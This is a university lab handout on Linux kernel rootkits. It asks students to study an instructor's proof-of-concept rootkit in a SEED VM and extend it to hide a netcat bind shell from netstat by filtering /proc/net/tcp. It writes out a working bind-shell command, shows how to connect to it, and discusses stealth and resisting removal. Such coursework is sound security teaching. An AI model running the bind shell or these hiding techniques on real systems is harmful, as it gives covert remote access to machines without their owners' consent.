Lab 7: Kernel Rootkits

Lab Overview

This lab will introduce you to both kernel module programming and to kernel rootkits. You will take an existing kernel rootkit written by your instructor and extend it.

Lab Description

This lab will guide you through kernel rootkit construction. More details are in the code's repo and below, but here is the gist. The rootkit already is written to:

Getting the Code

You'll want to use the SEED 16.04 Ubuntu VM for this lab. In the VM, you can get the code for this lab by cloning your instructor's repo:

    
    $ git clone https://github.com/khale/kernel-rootkit-poc
    
    

Make sure to go through the README in the repo. The SEED VM should have everything necessary to load the rootkit.

Task 1: The Code

Understand the code. You should realize that the kernel module's entry point (b4rn_init()) is invoked after the module is loaded by the kernel (e.g. by insmod or modprobe). Start there and read comments carefully.

Task 2: The Backdoor

Could an attacker use the backdoor exposed by the rootkit to remotely get access? Explain why or why not.

Realize that this is a pretty rudimentary backdoor. There are certainly more stealthy ways to do this (e.g. so we don't create an unwanted device file on the system). Can you think of any?

By the way, there have been nefarious attempts to backdoor the kernel itself, though they were unsuccessful. This isn't limited by any means to kernel space. The NSA is suspected to have backdoored a standard altorithm widely used for encryption. Your instructor's favorite example of a backdoor was one injected by a C compiler into the UNIX login program, devised by the UNIX man himself. Definitely worth a read.

Task 3: Hiding in Plain Sight

Explain why we must (1) use function pointers and kallsyms_*() functions to call certain routines and (2) manipulate cr0 and page protections to install our function overrides.

Suppose I wanted to make it very hard for a system administrator to remove my rootkit from the system. What are some things I could do to prevent that? (Hint: there is a reboot() system call)

Task 4

For this task you'll be extending b4rnd00r to hide a remote backdoor (i.e. a bindshell running on the system). First run a bind shell like so:

    
    $ nohup nc -nvlp 9474 -e /bin/bash >/dev/null 2>&1 &
    
    

This listens on port 9474, and when a client connects it will spawn a shell and send output back out over the network socket. The nohup command prevents the netcat program from exiting after we log out of the system (which we would probably do after we've owned a machine and set up the backdoor). The redirection just silences output on the server side.

If you've got bridged networking set up for your VM, you should be able to access this bind shell as follows from your host machine:

    
    $ nc <VM-IP> 9474
    
    

You can access it with NAT networking as well, but you'll have to forward the 9474 port with your hypervisor. It's probably just easier to use bridged networking. Other than the nc process itself, the listening socket can be seen by an auditor pretty easily by using netstat

    
    $ netstat -tl
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 cato:domain             0.0.0.0:*               LISTEN     
    tcp        0      0 localhost:ipp           0.0.0.0:*               LISTEN     
    tcp        0      0 0.0.0.0:9474            0.0.0.0:*               LISTEN     
    tcp6       0      0 localhost:ipp           [::]:*                  LISTEN     
    tcp6       0      0 [::]:9474               [::]:*                  LISTEN
    
    

This is no good if we're trying to be stealthy. We can pretty much guess that this information is coming from the kernel, and almost certainly from /proc somewhere, and that netstat is really just sugar coating the kernel's output. We can do some digging to find out exactly where

    
    $ strace netstat -tl 2>&1 | grep "^open" | grep "proc"
    openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
    openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
    
    

Sure enough, netstat is really just a wrapper around the /proc interface. Let's see the raw information straight from the source (the kernel):

    
    $ cat /proc/net/tcp
     sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
       0: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 34934 1 000000007060ba94 100 0 0 10 0                     
       1: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 30174 1 00000000d07a82df 100 0 0 10 0                     
       2: 00000000:2502 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 59441 1 000000003a4d11ec 100 0 0 10 0
    
    

You can see why netstat exists now. This output is pretty opaque. If we realize that 9474 is actually 0x2502, however, we can pretty easily identify our bind shell. This gives us a hint on how to hide our connection then, because we really just need to scrub this output to remove that line in our rootkit. This is your task.

Some hints:

Handin

Please write your lab report according to the description. Please also list the important code snippets followed by your explanation. You will not receive credit if you simply attach code without any explanation. Upload your answers as a PDF to blackboard. You must turn this in by Thursday 2/27 11:59 PM.

Suggested Reading

This work is licensed under a Creative Commons Attribution-NonCommercialShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.